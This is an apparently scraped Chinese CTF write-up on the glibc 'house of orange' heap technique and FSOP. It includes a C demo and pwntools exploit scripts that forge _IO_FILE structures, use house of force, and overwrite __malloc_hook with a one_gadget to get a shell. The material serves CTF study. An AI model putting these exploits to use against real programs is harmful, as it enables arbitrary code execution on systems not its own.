house of orange

news/2024/12/31 5:40:38/文章来源:https://www.cnblogs.com/L1nyun/p/18400449

house of orange

1.针对没有free的堆题目

orange部分

申请比topchunk的size大的chunk,会将原本的chunk放入unsortedbin中,可以借此泄露地址

FSOP

io文件结构有chain连接成一个链表形式,这部分,头节点记录在_IO_list_all上,通过unsorted attack或者largebin attack劫持_io_list_all,指向我们可控的地址,进而劫持io流

fsop的触发路线

int
_IO_flush_all_lockp (int do_lock)
{...fp = (_IO_FILE *) _IO_list_all;while (fp != NULL){.....if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T//2.23需要绕过这里|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))//2.31增多了对vtable的检查
#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)//如果更改vtable的跳表,将此处改成systemresult = EOF;...fp = fp->_chain;}

劫持_IO_list_all结构体,修改vtable的跳表,将_IO_OVERFLOW改成system

demo

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{char *p1, *p2;size_t io_list_all, *top;p1 = malloc(0x400-16);top = (size_t *) ( (char *) p1 + 0x400 - 16);//定位到topchunktop[1] = 0xc01;//修改topchunk的sizep2 = malloc(0x1000);//使topchunk进入unsortedbinio_list_all = top[2] + 0x9a8;  //get real addr of io_list_allprintf("%p\n",&io_list_all);top[3] = io_list_all - 0x10;  //unsorted bin->bk = io_list_all - 0x10memcpy( ( char *) top, "/bin/sh\x00", 8); //fake_file->_flags//fakechunk初始化top[1] = 0x61;  //fake_sizeFILE *fp = (FILE *) top;  fp->_mode = 0; // top+0xc0fp->_IO_write_base = (char *) 2; // top+0x20fp->_IO_write_ptr = (char *) 3; // top+0x28size_t *jump_table = &top[12]; // controlled memoryjump_table[3] = (size_t) &winner;*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8malloc(10);return 0;
}int winner(char *ptr)
{ system(ptr);return 0;
}

malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x88,即向_IO_list_all写入main_arena+0x88

此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误

此时第一个_IO_FILE_plus结构体为main_arena+0x88,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x88+0x68=main_arena+0xf0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体

例题

gift函数开始就给了一个堆地址

add功能

edit功能,溢出

输入的字节可以又用户指定

show功能

泄露堆地址

#leak heap地址
rl(b'0x')
heap_base = int(io.recv(12), 16) - 0x10
print(hex(heap_base))
#泄漏基地址

orange部分:修改topchunk的size,再申请一块打的内存,使得topchunk进入unsortedbin,泄露基础地址

add(0x20,b'\n')
edit(0x30,p64(0)*5+p64(0xfb1))
add(0x1000,b'\n')
add(0x20,b'a'*8)
show()

(黑盾杯也有一个题也是这种操作,house of orange 1/2+house of force)

此时name这个全局变量记录的堆块往后的0x20的堆块被挂在unsortedbin上,通过溢出,把这个堆块作为我们伪造的fakechunk,还有修改unsorted的bk指针

payload = b'a' * 0x20
fake_file = b'/bin/sh\x00' + p64(0x61)   
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base + 0x158)
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload)#触发
sla(b'choice : ', b'1')
sla(b'of it\n', str(1))

malloc(10)的时候

原本在unsortedbin上的chunk会放入smallbin之中,此时会往_IO_list_all上写入main_arena+88

而我们布置的fakechunk会被放入smallbin之中

刷新第二个结构体,main_arena+16刚好是smallbin的位置

vtable跳表的0x20的位置刚好就是overflow的表象,被我们写入为system的地址

flag是我们的/bin/sh的值

此时满足条件

fp->_IO_write_ptr > fp->_IO_write_base

即可执行

getshell

我很纳闷为啥我fsop的demo没啥用

黑盾杯 leak

2.27的libc,没有free函数

用了1/2的house of orange+house of force

free功能

只是清空列表,没有free

增查改都有

edit函数跟这里一样存在溢出,能多输入8个字节

add(0,0x18)
payload=p64(0)*3+p64(0xd91)
#修改topchunk
edit(0,payload)
add(1,0x1008)
add(2,0xd50)
#leak出libc的地址
show(2)
dbg()
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ec2a0
lg(hex(libc_base))

接下来就是house of force基本操作了

malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
#0x10a2fc
#house of force
edit(1,b'\x00'*0x1008+p64(0xffffffffffffffff))
add(3,-0x22010)
add(4,0x100)
payload=b'\x07'*0x30+p64(malloc_hook)*0x10+b'\n'
edit(4,payload)
add(5,0xa0)
edit(5,p64(one_gadget)+b'\n')
add(6,0x200)
inter()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/793113.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker 安装 redis 集群

集群搭建(三主三从) 集群搭建 集群中的节点都需要打开两个 TCP 连接。一个连接用于正常的给 Client 提供服务,比如 6379,还有一个额外的端口(通过在这个端口号上加10000)作为数据端口,例如:redis的端口为 6379,那么另外一个需要开通的端口是:6379 + 10000, 即需要开…

element-plus 倒计时el-countdown添加背景色

效果图: 实现方法:<el-countdown:time="countdownTime":formatter="formatter"/><div v-html="formattedTime"></div>formatter(time) {const days = Math.floor(time / 1000 / 60 / 60 / 24); // 计算天数const hours = Ma…

echarts 加一个圆环图带阴影

这里面一共三个圆, 最外层是一个半透明的var chartDomymr = document.getElementById(container-ymr);var myChartymr = echarts.init(chartDomymr);var optionymr;var optionymr_data = [{value: 332, name: 类型A, color: new echarts.graphic.LinearGradient(0, 0, 0, 1,[{…

echarts圆环图

外环的渐变是内环的阴影var chartDom2 = document.getElementById(container-workcode2);var myChart2 = echarts.init(chartDom2);var option2;option2 = {tooltip: {trigger: item},legend: {orient: vertical,top: 0%,left: center},title: {text: 60%,subtext: "完成率…

MacTalk 测评通义灵码,如何实现“微信表情”小功能?

目前,通义灵码已经在阿里云、哈啰集团、一汽集团、中华财险等企业落地,下载量超 500 万,在国际权威机构 Gartner 测评中,拿到国内 AI 编码工具最高成绩。作者:池建强,墨问西东创始人 前段时间,我写了篇墨问研发团队放弃 GitHub Copilot 的文章,没想到留言区一些读者推荐…

记录BUUCTF 中 的一道hook掉函数地址的题目

题目 [Zer0pts2020]easy strcmp1 https://files.buuoj.cn/files/2961ba55f464e750aca703838dfca234/easy_strcmp_e1a6208fde4f52fd0c653c0b7e8ff614.tar.gz 刚开始在main函数中发现if ( !strcmp(a2[1], "zer0pts{********CENSORED********}") )puts("Correct!&q…

[C++ Daily] 虚继承与虚析构带来的变化

虚继承 在菱形继承中,若 Student 和 Teacher 继承于 Person, TS 继承于 Student 和 Teacher,则构造 TS 时会调用两次 Person 的 Construct 和 Destruct 函数,若为虚继承,则不会出现上述问题(此类问题主要解决继承带来的多次非法delete) 原继承:结果:虚继承:结果:虚析构 父类指针…

ARP详细介绍

ARP详细介绍,包括动态ARP(基本和“常用协议”博文内容一致)、静态ARP、免费ARP、路由式ARP代理ARP详细介绍 地址解析协议,根据IP地址获取MAC地址,还能检测地址是否有重复 动态ARP 广播ARP报文寻找目标IP的MAC地址主机1通过发送ARP Request报文获取主机2的MAC地址 ​ 由于不…

一个网络安全情报聚合网站《魔盒安全情报》

《魔盒》 一款专为网络安全领域提供服务的多端情报系统。 实时更新安全情报。内容包括威胁情报、数据泄露、漏洞预警、军事情报、安全博客情报等。地址网页端:https://mgb.abyssdawn.com/tg 推送频道 频道地址:mgb_sec_thread感谢 感谢以下大佬收集的安全订阅源https://githu…

mipi屏调试时序问题

mipi屏的时序大同小异,一般都跟以下差不多: 屏参配置如下:&dsi0 {status = "disabled";//rockchip,lane-rate = <1000>;dsi0_panel: panel@0 {status = "okay";compatible = "simple-panel-dsi";reg = <0>;backlight = <&…

java编译中出现 无效的目标发行版:17

java maven 编译中出现 无效的目标发行版:17 解决方法: 将 pom.xml 中的 <maven.compiler.release>17</maven.compiler.release>这段换成<maven.compiler.source>1.7</maven.compiler.source> <maven.compiler.target>1.7</maven.compiler.…

火影新版控制中心安装教程

1. 第一步卸载原有控制中心 搜索框搜索控制面板找到卸载程序点击搜索控制中心右键卸载卸载完选择YES重启 2、官网下载控制中心的压缩包 火影官网驱动下载 https://www.firebat.com.cn/index/serve/drive 根据自己是什么机器选择 (t6ax也是t6系,t6系的都选t6ad,处理器是什么就…